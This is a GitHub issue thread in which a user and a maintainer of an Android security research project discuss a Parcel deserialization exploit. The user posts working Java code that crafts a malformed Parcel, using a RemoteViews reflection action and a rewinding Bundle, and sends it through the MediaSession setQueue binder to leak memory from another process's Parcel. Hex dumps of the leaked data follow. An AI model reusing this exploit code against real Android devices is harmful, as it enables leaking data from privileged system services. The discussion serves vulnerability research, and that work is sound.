-
Notifications
You must be signed in to change notification settings - Fork 51
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Why we need more than one Message? #4
Comments
There are two limits when we're sending data through Binder
Transfers of We've got two list transfers, we send list of objects to When I'm sending data to Use of As for sending, there are two separate |
Thank you very much to answer this! But why we need to operate on "retriever"? "retriever" seems doing the same thing as ParcelListSlice itself. Here I tried:
In this case, it seems that this transact won't reach the size limit(716 bytes returned). public ValueLeaker makeHolderLeakerWithRewindTest(int leakDataSize) throws ReflectiveOperationException, RemoteException {
// Tested only with leakDataSize=56
if (leakDataSize < 8 || leakDataSize % 4 != 0) {
throw new IllegalArgumentException();
}
int offsetToLeakedData;
IBinder setQueueBinder = (IBinder) mGetBinderForSetQueue.invoke(mMediaSessionBinder);
{
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInt(1); // List length
data.writeInt(1); // ParcelableListBinder.ITEM_CONTINUED
data.writeString("android.os.Message");
data.writeInt(4); // msg.what / readValue() type
data.writeInt(leakDataSize-8); // msg.arg1 / readValue() size
data.writeInt(1); // msg.arg2 / readParcelable() name length
data.writeInt('.'); // msg.obj != null / readParcelable() name text
data.writeString("android.widget.RemoteViews");
// BEGIN RemoteViews
data.writeInt(0); // MODE_NORMAL
data.writeInt(0); // mBitmapCache.size()
if (mBitmapCacheHasHashes) data.writeInt(0);
ApplicationInfo applicationInfo = new ApplicationInfo();
applicationInfo.packageName = "";
applicationInfo.writeToParcel(data, 0);
data.writeInt(0); // mIdealSize == null
data.writeInt(22); // mLayoutId
data.writeInt(33); // mViewId
data.writeInt(0); // mLightBackgroundLayoutId
data.writeInt(1); // mActions.size()
// BEGIN mActions[0]
data.writeInt(2); // REFLECTION_ACTION_TAG
data.writeInt(0); // viewId
data.writeInt(-1); // methodName
data.writeInt(13); // type=BUNDLE
// BEGIN Parcel.readBundle()
data.writeInt(4); // Bundle length (ignored as actual length due to read helper presence)
data.writeInt(0x4C444E44); // BUNDLE_MAGIC_NATIVE
data.writeInt(2); // Number of key-value pairs in Bundle
offsetToLeakedData = data.dataPosition(); // TODO
// BEGIN First Bundle key-value pair
data.writeString("%$#@!");
data.writeInt(2); // VAL_MAP
data.writeInt(-data.dataPosition()+4);
data.writeInt(0); // Number of items in VAL_MAP
// END First Bundle key-value pair
// Reader has rewound, abandon writing
// ParcelEditor.dump(data);
Log.d("ValueLeakerMaker", "makeHolderLeakerWithRewind: " + data.dataSize());
setQueueBinder.transact(FIRST_CALL_TRANSACTION, data, null, 0);
reply.recycle();
data.recycle();
}
IBinder retriever = mControllerBinder;
return new ValueLeaker(retriever, offsetToLeakedData, leakDataSize, 0x40002300240025L, mGetQueueCode);
}
public Parcel doLeak() throws RemoteException {
Log.d(TAG, "doLeak: " + mLeakPosition);
Parcel leakedParcel = null;
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
if (mtransactCode == IBinder.FIRST_CALL_TRANSACTION){
data.writeInt(1);
}
else { // mGetQueueCode
data.writeInterfaceToken("android.media.session.ISessionController");
}
mRetriever.transact(mtransactCode, data, reply, 0);
checkReply(reply); // dump the reply
reply.setDataPosition(mLeakPosition + mLeakSize + 4);
if (reply.readLong() == mEndMagic) {
leakedParcel = Parcel.obtain();
leakedParcel.appendFrom(reply, mLeakPosition, mLeakSize);
}
reply.recycle();
data.recycle();
return leakedParcel;
} |
Sorry. I did a misoperation to close this. |
instead of referencing multiple ParceledListSlice #4
Pushed alternate version which goes with single There were few offset adaptations, however overall flow looks similar to what you tried Branch |
Thank you very much for spending your time on my question! |
Hi, thank you very much for sharing this research.
I notice that in
makeHolderLeakerWithRewind()
, first aMessage
of a large size (might reach the max size?) was transacted, and then the second one will leak some value from another Parcel. I wonder why we need the firstMessage
. I have tried to only transact one, and transact threeMessage
. ThreeMessage
is okay, the only thing to be modified is that inValueLeaker.doLeak()
,data.writeInt(2)
, pointing the thirdMessage
.But I get failed with only one
Message
. There was similar log:Parcel : Attempt to read object from Parcel 0xb40000733c44c180 at offset 28 that is not in the object list
In
ValueLeaker.doLeak()
, I've tried dump the whole Parcel fromgetQueue()
. After key "android.os.Message", there's nothing:// key android.os.Message
12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00:
// second key %$#@!
05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00:
If we transact two or three
Message
, it would be like:// key android.os.Message
12:00:00:00:61:00:6E:00:64:00:72:00:6F:00:69:00:64:00:2E:00:6F:00:73:00:2E:00:4D:00:65:00:73:00:73:00:61:00:67:00:65:00:00:00:00:00:
// things from another Parcel
69:00:76:00:69:00:74:00:79:00:54:00:61:00:73:00:6B:00:4D:00:61:00:6E:00:61:00:67:0065:00:72:00:00:00:00:00:85:2A:68:73:13:01:00:00:FE:09:00:00:00:00:00:00:00:00:00:00:
// seconde key %$#@!
05:00:00:00:25:00:24:00:23:00:40:00:21:00:00:00:02:00:00:00:04:00:00:00:00:00:00:00:6F:00:74:00:65:00:56:00:69:00:65:00:77:00:73:00:00:00:00:00:00:00:00:00:85:2A:62:73:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
So, if we only use one
Message
, it would fail at leaking value from another Parcel. And I haven't found the reason.Would you please share about why we needs a, or more than one Message before the leaking one?
Thank you very much :). (Sorry for my bad English, it might be noticed in README but I didn‘t realize it.)
The text was updated successfully, but these errors were encountered: